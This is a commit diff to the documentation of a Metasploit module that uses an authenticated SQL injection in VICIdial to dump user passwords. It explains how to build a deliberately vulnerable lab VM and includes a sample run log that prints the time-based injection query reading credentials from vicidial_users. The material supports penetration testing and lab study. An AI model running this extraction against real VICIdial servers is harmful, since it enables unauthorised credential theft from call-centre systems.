Skip to content

Commit f62f5b2

Browse files
ChocapikkChocapikk
committed
Add working documentation
1 parent 04711c4 commit f62f5b2

File tree

1 file changed

+149
-23
lines changed

1 file changed

+149
-23
lines changed

‎documentation/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.md

Lines changed: 149 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -4,27 +4,153 @@ This module exploits a single authenticated SQL Injection vulnerability in VICId
44

55
VICIdial does not encrypt passwords by default.
66

7-
VICIBox/VICIdial includes an auto-update mechanism, so be aware for creating vulnerable boxes.
7+
VICIBox/VICIdial includes an auto-update mechanism, so be aware when creating vulnerable boxes.
88

99
### Install
1010

11-
#### 9.0.3 & 10.0.0
11+
#### Version 11.0.1 Setup
1212

13-
1. Install the following OpenSUSE 10 ISO
14-
- [ViciBox_v9.x86_64-9.0.3.iso](http://download.vicidial.com/iso/vicibox/server/ViciBox_v9.x86_64-9.0.3.iso)
15-
or
16-
- [ViciBox_v10.x86_64-10.0.0.iso](http://download.vicidial.com/iso/vicibox/server/archive/ViciBox_v10.x86_64-10.0.0.iso) :
17-
1. Change the default password (`root`:`vicidial`)
18-
2. Set Timezone, Keyboard Layout, ok the license, and Language
19-
3. Network settings should autoconfigure (Tested on VMware Fusion). Network settings can be configured with the
20-
command `yast lan` if necessary
21-
2. Run `vicibox-express` to initiate the ViciDial Express Installation, everything can be kept as default
22-
3. Navigate to `http://<ip-address>/`
23-
1. Click `Administration` and login with default credentials username: `6666`, password: `1234`
24-
2. Once logged in, Click `Continue on to the Initial Setup`. Everything can be kept as default.
25-
4. The complete list of setup instructions can be found by following this
26-
[link](http://download.vicidial.com/iso/vicibox/server/ViciBox_v9-install.pdf)
13+
1. **Download the ISO**:
14+
[ViciBox_v11.x86_64-11.0.1-md.iso](http://download.vicidial.com/iso/vicibox/server/ViciBox_v11.x86_64-11.0.1-md.iso)
2715

16+
2. **Create a VM**:
17+
- Connect to the shell using the default credentials:
18+
`root:vicidial` (Note: The keyboard layout is QWERTY by default).
19+
20+
3. **Run the setup and reboot the VM**:
21+
- After rebooting, **do not** run the command `/usr/local/bin/vicibox-install` until after the next step.
22+
23+
4. **Vulnerable Revision Setup**:
24+
- Run the following command to install a vulnerable version of VICIdial:
25+
```
26+
svn checkout -r 3830 svn://svn.eflo.net:3690/agc_2-X/trunk /usr/src/astguiclient/trunk
27+
```
28+
- Revision 3830 is vulnerable to both SQL Injection and RCE.
29+
- Note: The CVEs have been patched starting from revision 3848.
30+
31+
5. **Legacy Installation**:
32+
- Run the installation in legacy mode:
33+
```
34+
vicibox-install --legacy
35+
```
36+
37+
6. **Installer Output Example**:
38+
```
39+
vicibox11:~ # vicibox-install --legacy
40+
41+
ViciBox Installer
42+
43+
Legacy mode activated
44+
Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 137.
45+
Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 138.
46+
Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 137.
47+
Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 138.
48+
49+
The installer will ask questions based upon the role that this server is
50+
to provide for the ViciBox Call Center Suite. You should have the database
51+
and optionally archive servers setup prior to installing any other servers.
52+
The installer will not run without there being a configured database! If this
53+
server is to be the database then it must be installed before the archive server.
54+
Verify that all servers are connected to the same network and have connectivity
55+
to each other before continuing. This installer will be destructive to the server if it is run.
56+
57+
Do you want to continue with the ViciBox install? [y/N] : y
58+
59+
Do you want to enable expert installation? [y/N] :
60+
61+
The Internal IP address found was 192.168.1.4.
62+
Do you want to use this IP address for ViciDial? [Y/n] : y
63+
64+
Will this server be used as the Database? [y/N] : y
65+
Do you want to use the default ViciDial DB settings? [Y/n] : y
66+
67+
Will this server be used as a Web server? [y/N] : y
68+
69+
Will this server be used as a Telephony server? [y/N] : y
70+
71+
Will this server be used as an Archive server? [y/N] : y
72+
Archive server IP (192.168.1.4) :
73+
Archive FTP User (cronarchive) :
74+
Archive FTP Password (archive1234) :
75+
Archive FTP Port (21) :
76+
Archive FTP Directory () :
77+
Archive URL (http://192.168.1.4/archive/) :
78+
Use of uninitialized value $localsvn in concatenation (.) or string at /usr/local/bin/vicibox-install line 1513, <STDIN> line 14.
79+
80+
The local SVN is build 240419-1817 version 2.14-916a from SVN
81+
Do you want to use the ViciDial version listed above? [Y/n] : y
82+
83+
Do you want to disable the built-in firewall? [y/N] : y
84+
85+
86+
--- ViciBox Install Summary ---
87+
88+
Expert : No
89+
Legacy : Yes
90+
Database : Yes
91+
Web : Yes
92+
Telephony: Yes
93+
First Srv: Yes
94+
Have Arch: No
95+
Archive : Yes
96+
Firewall : Disabled
97+
98+
--- Configuration Information ---
99+
- Database -
100+
Use of uninitialized value $DBsvnrev in concatenation (.) or string at /usr/local/bin/vicibox-install line 1609, <STDIN> line 16.
101+
SVN Rev :
102+
IP Addr : 192.168.1.4
103+
Name : asterisk
104+
User : cron
105+
Password : 1234
106+
Cust User: custom
107+
Cust Pass: custom1234
108+
Port : 3306
109+
110+
111+
Please verify the above information before continuing!
112+
Do you want to continue the installation? [y/N] : y
113+
114+
115+
Beginning installation, expect lots of output...
116+
117+
Disabling firewall...
118+
Removed /etc/systemd/system/multi-user.target.wants/firewalld.service.
119+
Removed /etc/systemd/system/dbus-org.fedoraproject.FirewallD1.service.
120+
Use of uninitialized value $DBsvnrev in numeric ne (!=) at /usr/local/bin/vicibox-install line 208, <STDIN> line 17.
121+
Use of uninitialized value $localsvn in numeric ne (!=) at /usr/local/bin/vicibox-install line 208, <STDIN> line 17.
122+
Use of uninitialized value $DBsvnrev in concatenation (.) or string at /usr/local/bin/vicibox-install line 218, <STDIN> line 17.
123+
Local SVN revision matches DB revision:
124+
Doing general DataBase requirements...
125+
Doing Master-specific MySQL setup...
126+
Configuring Web Server...
127+
Created symlink /etc/systemd/system/httpd.service → /usr/lib/systemd/system/apache2.service.
128+
Created symlink /etc/systemd/system/apache.service → /usr/lib/systemd/system/apache2.service.
129+
Created symlink /etc/systemd/system/multi-user.target.wants/apache2.service → /usr/lib/systemd/system/apache2.service.
130+
Configuring Telephony Server...
131+
Configuring Archive Server...
132+
Nouveau mot de passe : MOT DE PASSE INCORRECT : trop simple/systématique
133+
Retapez le nouveau mot de passe : passwd: password updated successfully
134+
Created symlink /etc/systemd/system/multi-user.target.wants/vsftpd.service → /usr/lib/systemd/system/vsftpd.service.
135+
Loading GMT and Phone Codes...
136+
137+
Seeding the audio store, this may take a while...
138+
139+
PLEASE use secure passwords inside vicidial. It prevents hackers
140+
and other undesirables from compromising your system and costing
141+
you thousands in toll fraud and long distance. A secure password
142+
Contains at least one capital letter and one number. A good example
143+
of a secure password would be NrWZDqL1Rg37uuC.
144+
145+
Don't feed the black market, secure your systems properly!
146+
147+
System should be installed. Please type 'reboot' to cleanly load everything.
148+
149+
```
150+
151+
7. **Post-Installation**:
152+
- After installation, **reboot** the system.
153+
- Access the web panel by navigating to the administration page and completing the initial setup.
28154

29155
## Verification Steps
30156

@@ -50,24 +176,24 @@ Delay in seconds for SQL Injection sleep. Defaults to 1.
50176

51177
## Scenarios
52178

53-
### ViciBox 9.0.3
179+
### ViciBox 11.0.1
54180

55181
```
56-
msf6 auxiliary(scanner/http/vicidial_sql_enum_users_pass) > run https://192.168.1.100
57-
[*] Running module against 192.168.1.100
182+
msf6 auxiliary(scanner/http/vicidial_sql_enum_users_pass) > run http://192.168.1.4
183+
[*] Running module against 192.168.1.4
58184
59185
[*] Checking if target is vulnerable...
60186
[+] Target is vulnerable to SQL injection.
61-
[*] {SQLi} Executing (select group_concat(aR) from (select cast(concat_ws(';',ifnull(User,''),ifnull(Pass,'')) as binary) aR from vicidial_users limit 1) juBM)
62-
[*] {SQLi} Encoded to (select group_concat(aR) from (select cast(concat_ws(0x3b,ifnull(User,repeat(0x5b,0)),ifnull(Pass,repeat(0x7d,0))) as binary) aR from vicidial_users limit 1) juBM)
63-
[*] {SQLi} Time-based injection: expecting output of length 16
187+
[*] {SQLi} Executing (select group_concat(HCx) from (select cast(concat_ws(';',ifnull(User,''),ifnull(Pass,'')) as binary) HCx from vicidial_users limit 1) em)
188+
[*] {SQLi} Encoded to (select group_concat(HCx) from (select cast(concat_ws(0x3b,ifnull(User,repeat(0x88,0)),ifnull(Pass,repeat(0x3f,0))) as binary) HCx from vicidial_users limit 1) em)
189+
[*] {SQLi} Time-based injection: expecting output of length 13
64190
[+] Dumped table contents:
65191
vicidial_users
66192
==============
67193
68194
User Pass
69195
---- ----
70-
6666 aLLah4465
196+
6666 password
71197
72198
[*] Auxiliary module execution completed
73199
```

0 commit comments

Comments
 (0)